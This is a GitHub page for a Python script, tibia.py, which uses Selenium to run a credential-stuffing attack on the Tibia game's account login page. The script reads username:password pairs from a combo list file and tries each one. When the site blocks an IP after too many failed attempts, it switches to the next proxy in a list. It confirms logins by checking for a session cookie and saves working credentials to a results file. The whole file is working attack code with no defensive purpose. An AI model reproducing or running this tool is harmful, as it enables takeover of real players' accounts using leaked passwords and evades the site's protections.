-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathtibia.py
More file actions
190 lines (157 loc) · 6.72 KB
/
tibia.py
File metadata and controls
190 lines (157 loc) · 6.72 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
from selenium.common.exceptions import TimeoutException,NoSuchElementException
import time
class Credential:
def __init__(self, username, password):
self.username = username
self.password = password
class ResultMessage:
def __init__(self,credential,result,message,proxyId = 0):
self.credential = credential
self.result = result
self.message = message
self.proxyId = proxyId
def wait(min):
mins = 0
while(mins != min):
print(">>>>>>>>>>>>>>>>>>>>>", mins)
time.sleep(60)
mins += 1
def getProxyListFromFile():
proxyList = []
f=open("PROXY-LIST.txt","r")
f1 = f.readlines()
for line in f1:
proxyList.append(line)
return proxyList
def saveCredntialResultToFile(credential,fileName):
f=open(fileName, "a+")
f.write(credential.username + ":" + credential.password)
f.close()
#getProxyFrom proxylist
def getProxy(proxyId,proxy):
lenght = len(proxy)
if lenght > proxyId :
return proxy[proxyId]
raise ValueError('The Proxy limit was reached , stoped program')
def getCredentialsFromFile():
credentials = []
f=open("TIBIA-MIX.txt", "r")
f1 = f.readlines()
for line in f1:
result = line.split(':')
username = result[0]
password = result[1]
crednetial = Credential(username,password)
credentials.append(crednetial)
f.close()
return credentials
def resolveException(exceptionMessage,credential):
f=open('exceptions.txt', "a+")
f.write("Exception message: " + exceptionMessage + " Credentials:" + credential.username + ":" + credential.password)
f.close()
def loginToTibiaAccount(credential,browser):
usernameStr = credential.username
passwordStr = credential.password
print('Trying to login by following account ' + usernameStr + ' ' )
try:
browser.get(('https://www.tibia.com/account/?subtopic=accountmanagement'))
username = WebDriverWait(browser, 10).until(EC.presence_of_element_located((By.NAME, 'loginname')))
username.send_keys(usernameStr)
password = WebDriverWait(browser, 10).until(EC.presence_of_element_located((By.NAME, 'loginpassword')))
password.send_keys(passwordStr)
except TimeoutException:
print("Timeout exception")
resolveException('Tiemout exception',credential)
return ResultMessage(credential,False,'TimeoutException')
except:
print('Some another exception occured')
resolveException('Some another exception occured',credential)
return ResultMessage(credential,False,'Some another exception occured')
return ResultMessage(credential,True,'')
def checkErrorMessage(browser,credential):
try:
errorMessage = browser.find_element_by_class_name('ErrorMessage')
errorText = errorMessage.text
ipBlockText = "Wrong account data has been entered from your IP address too often. You are unable to log in from this IP address for the next 30 minutes. Please wait."
if ipBlockText in errorText:
print("Block ip error")
return ResultMessage(credential,True,'Block ip error')
except NoSuchElementException:
print('No Error message!')
resolveException('No error message, NoSuchElementException',credential)
return ResultMessage(credential,True,'No error')
except:
print("Error message not found")
resolveException('Error message not found',credential)
return ResultMessage(credential,False,'Error message not found')
return ResultMessage(credential,True,'No errors!')
def getUpBrowser(proxyId,proxyList,timeout):
if(proxyId >= 0):
proxy = proxyList[proxyId]
print('Going with proxy: '+ proxy)
chrome_options = webdriver.ChromeOptions()
chrome_options.add_argument('--proxy-server=%s' % proxy)
browser = webdriver.Chrome(options=chrome_options)
browser.set_page_load_timeout(timeout)
else:
browser = webdriver.Chrome()
browser.set_page_load_timeout(timeout)
return browser
def loginWithCredential(credential,timeout,proxyId,proxyList):
proxyLength = len(proxyList)
if(proxyLength == proxyId):
return ResultMessage(credential,True,'End of proxy list, ending execution of program',proxyId)
browser = getUpBrowser(proxyId,proxyList,timeout)
loginResult = loginToTibiaAccount(credential,browser)
#not succesful login lets try with proxy on failure
if(not loginResult.result):
return goWithNextProxy(browser,proxyId,credential,timeout,proxyList)
errorMessage = checkErrorMessage(browser,credential)
#when error message found and it is block ip error go with proxy
if(errorMessage.result):
if errorMessage.message in 'Block ip error':
return goWithNextProxy(browser,proxyId,credential,timeout,proxyList)
checkIsLoginSuccesfully(browser,loginResult,errorMessage,credential)
return ResultMessage(credential,False,'',proxyId)
def checkIsLoginSuccesfully(browser,loginResult,errorMessage,credential):
if(loginResult.result and errorMessage.result):
print('Trying to get cookei for ' + credential.username)
cookie = browser.get_cookie('SecureSessionID')
if cookie != None:
print("Cookie found, logged succesfuly with credentials:" + credential.username + ":" + credential.password)
saveCredntialResultToFile(credential,"results.txt")
browser.quit()
else:
#no cookie so , just get out of here and clsoe!
print('cookie not found, user not logged')
browser.quit()
else:
#nothing spectaculary happened just wrong credentials
print(errorMessage.message)
browser.quit()
def goWithNextProxy(browser,proxyId,credential,timeout,proxyList):
browser.quit()
proxyId = proxyId + 1
resultMessage = loginWithCredential(credential,timeout,proxyId,proxyList)
proxyId = resultMessage.proxyId
if(resultMessage.result):
return resultMessage
else:
return ResultMessage(credential,False,'',proxyId)
def processLogin(timeout):
proxyId = -1
proxyList = getProxyListFromFile()
credentials = getCredentialsFromFile()
for credential in credentials:
resultMessage = loginWithCredential(credential,timeout,proxyId,proxyList)
if(resultMessage.result):
print('End exectuion of procces login')
print(resultMessage.message)
break
else:
proxyId = resultMessage.proxyId
processLogin(120)